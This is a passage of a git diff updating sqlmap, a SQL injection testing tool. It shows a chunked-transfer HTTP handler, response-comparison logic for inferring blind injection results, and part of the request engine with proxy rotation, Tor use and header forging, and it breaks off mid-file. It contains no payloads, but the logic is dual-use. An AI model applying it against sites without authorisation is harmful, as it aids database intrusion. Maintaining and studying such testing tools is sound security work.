@@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import conf +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves import urllib as _urllib + +class ChunkedHandler(_urllib.request.HTTPHandler): + """ + Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding + """ + + def _http_request(self, request): + host = request.get_host() if hasattr(request, "get_host") else request.host + if not host: + raise _urllib.error.URLError("no host given") + + if request.data is not None: # POST + data = request.data + if not request.has_header(HTTP_HEADER.CONTENT_TYPE): + request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") + if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: + request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) + + sel_host = host + if request.has_proxy(): + sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc + + if not request.has_header(HTTP_HEADER.HOST): + request.add_unredirected_header(HTTP_HEADER.HOST, sel_host) + for name, value in self.parent.addheaders: + name = name.capitalize() + if not request.has_header(name): + request.add_unredirected_header(name, value) + return request + + http_request = _http_request diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 04c4305a868..4d1f3edce49 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,42 +1,58 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import division + import re from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent -from lib.core.common import wasLastRequestDBMSError -from lib.core.common import wasLastRequestHTTPError +from lib.core.common import getLastRequestHTTPError +from lib.core.common import wasLastResponseDBMSError +from lib.core.common import wasLastResponseHTTPError +from lib.core.convert import getBytes from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX -from lib.core.settings import MIN_RATIO -from lib.core.settings import MAX_RATIO from lib.core.settings import LOWER_RATIO_BOUND +from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH +from lib.core.settings import MAX_RATIO +from lib.core.settings import MIN_RATIO +from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData +from thirdparty import six def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): + if not isinstance(page, (six.text_type, six.binary_type, type(None))): + logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200])) + + try: + page = b"".join(page) + except: + page = six.text_type(page) + _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) return _ def _adjust(condition, getRatioValue): - if not any([conf.string, conf.regexp, conf.code]): + if not any((conf.string, conf.notString, conf.regexp, conf.code)): # Negative logic approach is used in raw page comparison scheme as that what is "different" than original # PAYLOAD.WHERE.NEGATIVE response is considered as True; in switch based approach negative logic is not # applied as that what is by user considered as True is that what is returned by the comparison mechanism # itself - retVal = not condition if kb.negativeLogic and condition is not None else condition + retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition else: retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO) @@ -46,48 +62,65 @@ def _comparison(page, headers, code, getRatioValue, pageLength): threadData = getCurrentThreadData() if kb.testMode: + threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonPage = page + threadData.lastComparisonCode = code if page is None and pageLength is None: return None - seqMatcher = threadData.seqMatcher - seqMatcher.set_seq1(kb.pageTemplate) - - if any([conf.string, conf.regexp]): - rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) + if any((conf.string, conf.notString, conf.regexp)): + rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) - # String to match in page when the query is valid + # String to match in page when the query is True if conf.string: return conf.string in rawResponse - # Regular expression to match in page when the query is valid + # String to match in page when the query is False + if conf.notString: + if conf.notString in rawResponse: + return False + else: + if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): + return None + else: + return True + + # Regular expression to match in page when the query is True and/or valid if conf.regexp: return re.search(conf.regexp, rawResponse, re.I | re.M) is not None # HTTP code to match when the query is valid - if isinstance(code, int) and conf.code: + if conf.code: return conf.code == code + seqMatcher = threadData.seqMatcher + seqMatcher.set_seq1(kb.pageTemplate) + if page: # In case of an DBMS error page return None - if kb.errorIsNone and (wasLastRequestDBMSError() or wasLastRequestHTTPError()): - return None + if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: + if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])): + return None # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) - seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) + if threadData.lastPageTemplate != kb.pageTemplate: + threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) + threadData.lastPageTemplate = kb.pageTemplate + + seqMatcher.set_seq1(threadData.lastPageTemplateCleaned) if not pageLength: pageLength = len(page) if kb.nullConnection and pageLength: if not seqMatcher.a: - errMsg = "problem occured while retrieving original page content " + errMsg = "problem occurred while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) ratio = 1. * pageLength / len(seqMatcher.a) @@ -96,30 +129,68 @@ def _comparison(page, headers, code, getRatioValue, pageLength): else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) - if isinstance(seqMatcher.a, str) and isinstance(page, unicode): - page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') - elif isinstance(seqMatcher.a, unicode) and isinstance(page, str): - seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') - - seq1, seq2 = None, None + if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): + page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") + elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): + seqMatcher.set_seq1(getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")) - if conf.titles: - seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) - seq2 = extractRegexResult(HTML_TITLE_REGEX, page) + if any(_ is None for _ in (page, seqMatcher.a)): + return None + elif seqMatcher.a and page and seqMatcher.a == page: + ratio = 1. + elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): + if not page or not seqMatcher.a: + return float(seqMatcher.a == page) + else: + ratio = 1. * len(seqMatcher.a) / len(page) + if ratio > 1: + ratio = 1. / ratio else: - seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a - seq2 = getFilteredPageContent(page, True) if conf.textOnly else page + seq1, seq2 = None, None - if seq1 is not None: - seqMatcher.set_seq1(seq1) + if conf.titles: + seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) + seq2 = extractRegexResult(HTML_TITLE_REGEX, page) + else: + seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a + seq2 = getFilteredPageContent(page, True) if conf.textOnly else page + + if seq1 is None or seq2 is None: + return None + + if isinstance(seq1, six.binary_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq1, six.text_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") - if seq2 is not None: + if isinstance(seq2, six.binary_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq2, six.text_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") + + if kb.heavilyDynamic: + seq1 = seq1.split("\n" if isinstance(seq1, six.text_type) else b"\n") + seq2 = seq2.split("\n" if isinstance(seq2, six.text_type) else b"\n") + + key = None + else: + key = (hash(seq1), hash(seq2)) + + seqMatcher.set_seq1(seq1) seqMatcher.set_seq2(seq2) - if seq1 is None or seq2 is None: - return None - else: - ratio = round(seqMatcher.quick_ratio(), 3) + if key in kb.cache.comparison: + ratio = kb.cache.comparison[key] + else: + try: + ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() + except (TypeError, MemoryError): + ratio = seqMatcher.ratio() + + ratio = round(ratio, 3) + + if key: + kb.cache.comparison[key] = ratio # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content @@ -128,6 +199,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength): kb.matchRatio = ratio logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio) + if kb.testMode: + threadData.lastComparisonRatio = ratio + # If it has been requested to return the ratio and not a comparison # response if getRatioValue: @@ -136,6 +210,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength): elif ratio > UPPER_RATIO_BOUND: return True + elif ratio < LOWER_RATIO_BOUND: + return False + elif kb.matchRatio is None: return None diff --git a/lib/request/connect.py b/lib/request/connect.py index c914271684f..ad22bf9575c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,98 +1,196 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import httplib +import binascii +import inspect +import logging +import os +import random import re import socket +import string +import struct +import sys import time -import urllib2 -import urlparse import traceback -from extra.safe2bin.safe2bin import safecharencode -from extra.socks.socks import ProxyError -from extra.multipart import multipartpost +try: + import websocket + from websocket import WebSocketException +except ImportError: + class WebSocketException(Exception): + pass from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds +from lib.core.common import checkFile +from lib.core.common import checkSameHost +from lib.core.common import chunkSplitPostData from lib.core.common import clearConsoleLine -from lib.core.common import cpuThrottle +from lib.core.common import dataToStdout +from lib.core.common import escapeJsonValue from lib.core.common import evaluateCode from lib.core.common import extractRegexResult +from lib.core.common import filterNone +from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData +from lib.core.common import getHeader from lib.core.common import getHostHeader -from lib.core.common import getUnicode +from lib.core.common import getRequestHeader +from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic +from lib.core.common import openFile +from lib.core.common import popValue +from lib.core.common import parseJson +from lib.core.common import pushValue from lib.core.common import randomizeParameterValue +from lib.core.common import randomInt +from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues +from lib.core.common import safeVariableNaming +from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev -from lib.core.common import urlEncodeCookieValues -from lib.core.common import wasLastRequestDelayed -from lib.core.convert import unicodeencode -from lib.core.convert import urlencode +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeVariableNaming +from lib.core.common import urldecode +from lib.core.common import urlencode +from lib.core.common import wasLastResponseDelayed +from lib.core.compat import LooseVersion +from lib.core.compat import patchHeaders +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import AttribDict +from lib.core.decorators import stackedmethod +from lib.core.dicts import POST_HINT_CONTENT_TYPES +from lib.core.enums import ADJUST_TIME_DELAY +from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING -from lib.core.enums import HTTPHEADER +from lib.core.enums import HINT +from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE +from lib.core.enums import POST_HINT from lib.core.enums import REDIRECTION -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapSyntaxException -from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.enums import WEB_PLATFORM +from lib.core.exception import SqlmapCompressionException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSkipTargetException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapTokenException +from lib.core.exception import SqlmapValueException +from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import BOUNDARY_BACKSLASH_MARKER +from lib.core.settings import DEFAULT_CONTENT_TYPE +from lib.core.settings import DEFAULT_COOKIE_DELIMITER +from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.core.settings import DEFAULT_USER_AGENT +from lib.core.settings import EVALCODE_ENCODED_PREFIX +from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE -from lib.core.settings import HTTP_SILENT_TIMEOUT -from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE +from lib.core.settings import IPS_WAF_CHECK_PAYLOAD +from lib.core.settings import IS_WIN +from lib.core.settings import JAVASCRIPT_HREF_REGEX +from lib.core.settings import LARGE_READ_TRIM_MARKER +from lib.core.settings import LIVE_COOKIES_TIMEOUT +from lib.core.settings import MIN_HTTPX_VERSION +from lib.core.settings import MAX_CONNECTION_READ_SIZE +from lib.core.settings import MAX_CONNECTIONS_REGEX +from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE +from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS +from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import META_REFRESH_REGEX +from lib.core.settings import MAX_TIME_RESPONSES from lib.core.settings import MIN_TIME_RESPONSES -from lib.core.settings import IS_WIN -from lib.core.settings import LARGE_CHUNK_TRIM_MARKER +from lib.core.settings import PAYLOAD_DELIMITER +from lib.core.settings import PERMISSION_DENIED_REGEX +from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE +from lib.core.settings import RANDOM_INTEGER_MARKER +from lib.core.settings import RANDOM_STRING_MARKER +from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import SAFE_HEX_MARKER +from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE +from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV +from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT +from lib.core.settings import YUGE_FACTOR from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse -from lib.request.direct import direct from lib.request.comparison import comparison +from lib.request.direct import direct from lib.request.methodrequest import MethodRequest -from lib.utils.checkpayload import checkPayload - - -class Connect: +from lib.utils.safe2bin import safecharencode +from thirdparty import six +from thirdparty.odict import OrderedDict +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib +from thirdparty.socks.socks import ProxyError + +class Connect(object): """ This class defines methods used to perform HTTP requests """ @staticmethod - def __getPageProxy(**kwargs): - return Connect.getPage(**kwargs) + def _getPageProxy(**kwargs): + try: + if (len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525 + warnMsg = "unable to connect to the target URL" + raise SqlmapConnectionException(warnMsg) + except (TypeError, UnicodeError): + pass + + try: + return Connect.getPage(**kwargs) + except RuntimeError: + return None, None, None @staticmethod - def __retryProxy(**kwargs): + def _retryProxy(**kwargs): threadData = getCurrentThreadData() threadData.retriesCount += 1 + if conf.proxyList and threadData.retriesCount >= conf.retries and not kb.locks.handlers.locked(): + warnMsg = "changing proxy" + logger.warning(warnMsg) + + conf.proxy = None + threadData.retriesCount = 0 + + setHTTPHandlers() + if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query - warnMsg = "most probably web server instance hasn't recovered yet " + warnMsg = "most likely web server instance hasn't recovered yet " warnMsg += "from previous timed based payload. If the problem " - warnMsg += "persists please wait for few minutes and rerun " - warnMsg += "without flag T in option '--technique' " - warnMsg += "(e.g. --flush-session --technique=BEUS) or try to " - warnMsg += "lower the value of option '--time-sec' (e.g. --time-sec=2)" + warnMsg += "persists please wait for a few minutes and rerun " + warnMsg += "without flag 'T' in option '--technique' " + warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to " + warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')" singleTimeWarnMessage(warnMsg) + elif kb.originalPage is None: if conf.tor: warnMsg = "please make sure that you have " @@ -100,82 +198,179 @@ def __retryProxy(**kwargs): warnMsg += "you could successfully use " warnMsg += "switch '--tor' " if IS_WIN: - warnMsg += "(e.g. https://www.torproject.org/download/download.html.en)" + warnMsg += "(e.g. 'https://www.torproject.org/download/')" else: - warnMsg += "(e.g. https://help.ubuntu.com/community/Tor)" + warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" else: warnMsg = "if the problem persists please check that the provided " - warnMsg += "target url is valid. If it is, you can try to rerun " - warnMsg += "with the switch '--random-agent' turned on " - warnMsg += "and/or proxy switches (--ignore-proxy, --proxy,...)" + warnMsg += "target URL is reachable" + + items = [] + if not conf.randomAgent: + items.append("switch '--random-agent'") + if not any((conf.proxy, conf.proxyFile, conf.tor)): + items.append("proxy switches ('--proxy', '--proxy-file'...)") + if items: + warnMsg += ". In case that it is, " + warnMsg += "you can try to rerun with " + warnMsg += " and/or ".join(items) + singleTimeWarnMessage(warnMsg) + elif conf.threads > 1: warnMsg = "if the problem persists please try to lower " - warnMsg += "the number of used threads (--threads)" + warnMsg += "the number of used threads (option '--threads')" singleTimeWarnMessage(warnMsg) - time.sleep(1) - kwargs['retrying'] = True - return Connect.__getPageProxy(**kwargs) + return Connect._getPageProxy(**kwargs) @staticmethod - def __connReadProxy(conn): - retVal = "" - - if not kb.dnsMode: - while True: - _ = conn.read(MAX_CONNECTION_CHUNK_SIZE) - if len(_) == MAX_CONNECTION_CHUNK_SIZE: - warnMsg = "large response detected. This could take a while" + def _connReadProxy(conn): + retVal = b"" + + if not kb.dnsMode and conn: + headers = conn.info() + if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): + retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) + if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: + warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) - _ = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), _) - retVal += _ - else: - retVal += _ - break + kb.pageCompress = False + raise SqlmapCompressionException + else: + while True: + if not conn: + break + else: + try: + part = conn.read(MAX_CONNECTION_READ_SIZE) + except AssertionError: + part = b"" + + if len(part) == MAX_CONNECTION_READ_SIZE: + warnMsg = "large response detected. This could take a while" + singleTimeWarnMessage(warnMsg) + part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) + retVal += part + else: + retVal += part + break + + if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: + warnMsg = "too large response detected. Automatically trimming it" + singleTimeWarnMessage(warnMsg) + break + + if conf.yuge: + retVal = YUGE_FACTOR * retVal return retVal @staticmethod def getPage(**kwargs): """ - This method connects to the target url or proxy and returns - the target url page content + This method connects to the target URL or proxy and returns + the target URL page content """ - if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0: + if conf.offline: + return None, None, None + + url = kwargs.get("url", None) or conf.url + get = kwargs.get("get", None) + post = kwargs.get("post", None) + method = kwargs.get("method", None) + cookie = kwargs.get("cookie", None) + ua = kwargs.get("ua", None) or conf.agent + referer = kwargs.get("referer", None) or conf.referer + direct_ = kwargs.get("direct", False) + multipart = kwargs.get("multipart", None) + silent = kwargs.get("silent", False) + raise404 = kwargs.get("raise404", True) + timeout = kwargs.get("timeout", None) or conf.timeout + auxHeaders = kwargs.get("auxHeaders", None) + response = kwargs.get("response", False) + ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts + refreshing = kwargs.get("refreshing", False) + retrying = kwargs.get("retrying", False) + crawling = kwargs.get("crawling", False) + checking = kwargs.get("checking", False) + skipRead = kwargs.get("skipRead", False) + finalCode = kwargs.get("finalCode", False) + chunked = kwargs.get("chunked", False) or conf.chunked + + if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) - elif conf.cpuThrottle: - cpuThrottle(conf.cpuThrottle) + + start = time.time() threadData = getCurrentThreadData() - threadData.lastRequestUID += 1 - - url = kwargs.get('url', conf.url) - get = kwargs.get('get', None) - post = kwargs.get('post', None) - method = kwargs.get('method', None) - cookie = kwargs.get('cookie', None) - ua = kwargs.get('ua', None) - referer = kwargs.get('referer', None) - host = kwargs.get('host', conf.host) - direct = kwargs.get('direct', False) - multipart = kwargs.get('multipart', False) - silent = kwargs.get('silent', False) - raise404 = kwargs.get('raise404', True) - auxHeaders = kwargs.get('auxHeaders', None) - response = kwargs.get('response', False) - ignoreTimeout = kwargs.get('ignoreTimeout', kb.ignoreTimeout) - refreshing = kwargs.get('refreshing', False) - retrying = kwargs.get('retrying', False) - crawling = kwargs.get('crawling', False) - - if not urlparse.urlsplit(url).netloc: - url = urlparse.urljoin(conf.url, url) + with kb.locks.request: + kb.requestCounter += 1 + threadData.lastRequestUID = kb.requestCounter + + if conf.proxyFreq: + if kb.requestCounter % conf.proxyFreq == 0: + conf.proxy = None + + warnMsg = "changing proxy" + logger.warning(warnMsg) + + setHTTPHandlers() + + if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: + if conf.murphyRate: + time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) + + page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3) + + threadData.lastPage = page + threadData.lastCode = code + + return page, headers, code + + if conf.liveCookies: + with kb.locks.liveCookies: + if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0: + warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT) + dataToStdout(warnMsg) + + valid = False + for _ in xrange(LIVE_COOKIES_TIMEOUT): + if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0: + valid = True + break + else: + dataToStdout('.') + time.sleep(1) + + dataToStdout("\n") + + if not valid: + errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies + raise SqlmapValueException(errMsg) + + cookie = openFile(conf.liveCookies).read().strip() + cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) + + if multipart: + post = multipart + else: + if not post: + chunked = False + + elif chunked: + post = _urllib.parse.unquote(post) + post = chunkSplitPostData(post) + + webSocket = url.lower().startswith("ws") + + if not _urllib.parse.urlsplit(url).netloc: + url = _urllib.parse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host - target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""])) + target = checkSameHost(url, conf.url) if not retrying: # Reset the number of connection retries @@ -185,10 +380,17 @@ def getPage(**kwargs): # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") - code = None + if "://" not in url: + url = "http://%s" % url + + conn = None page = None - requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post else HTTPMETHOD.GET)) - requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" + code = None + status = None + + _ = _urllib.parse.urlsplit(url) + requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) + requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None @@ -201,325 +403,634 @@ def getPage(**kwargs): # support those by default url = asciifyUrl(url) - # fix for known issues when using url in unicode format - # (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case) - url = unicodeencode(url) - try: - if silent: - socket.setdefaulttimeout(HTTP_SILENT_TIMEOUT) - else: - socket.setdefaulttimeout(conf.timeout) + socket.setdefaulttimeout(timeout) - if direct: - if "?" in url: - url, params = url.split("?") + if direct_: + if '?' in url: + url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) - requestMsg += "?%s" % params - elif multipart: - # Needed in this form because of potential circle dependency - # problem (option -> update -> connect -> option) - from lib.core.option import proxyHandler - - multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler) - conn = multipartOpener.open(unicodeencode(url), multipart) - page = Connect.__connReadProxy(conn) - responseHeaders = conn.info() - responseHeaders[URI_HTTP_HEADER] = conn.geturl() - page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) - - return page - - elif any ([refreshing, crawling]): + elif any((refreshing, crawling, checking)): pass elif target: - if conf.parameters.has_key(PLACE.GET) and not get: + if conf.forceSSL: + url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url) + url = re.sub(r"(?i):80/", ":443/", url) + + if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] + if not conf.skipUrlEncode: + get = urlencode(get, limit=True) + if get: - url = "%s?%s" % (url, get) - requestMsg += "?%s" % get + if '?' in url: + url = "%s%s%s" % (url, DEFAULT_GET_POST_DELIMITER, get) + requestMsg += "%s%s" % (DEFAULT_GET_POST_DELIMITER, get) + else: + url = "%s?%s" % (url, get) + requestMsg += "?%s" % get - if conf.method == HTTPMETHOD.POST and not post: - for place in (PLACE.POST, PLACE.SOAP): - if conf.parameters.has_key(place): - post = conf.parameters[place] - break + if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET: + post = conf.parameters[PLACE.POST] elif get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str # Prepare HTTP headers - headers = forgeHeaders({ HTTPHEADER.COOKIE: cookie, HTTPHEADER.USER_AGENT: ua, HTTPHEADER.REFERER: referer }) + headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) - if conf.realTest: - headers[HTTPHEADER.REFERER] = "%s://%s" % (conf.scheme, conf.hostname) + if HTTP_HEADER.COOKIE in headers: + cookie = headers[HTTP_HEADER.COOKIE] if kb.authHeader: - headers[HTTPHEADER.AUTHORIZATION] = kb.authHeader + headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: - headers[HTTPHEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader + headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader - headers[HTTPHEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE + if not conf.requestFile or not target: + if not getHeader(headers, HTTP_HEADER.ACCEPT): + headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE - headers[HTTPHEADER.HOST] = host or getHostHeader(url) + if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): + headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" + + elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT: + for header in headers: + if header.upper() == HTTP_HEADER.USER_AGENT.upper(): + del headers[header] + break + + if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): + headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE) + + if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: + warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE + warnMsg += "Will try to reconstruct" + singleTimeWarnMessage(warnMsg) + + boundary = findMultipartPostBoundary(conf.data) + if boundary: + 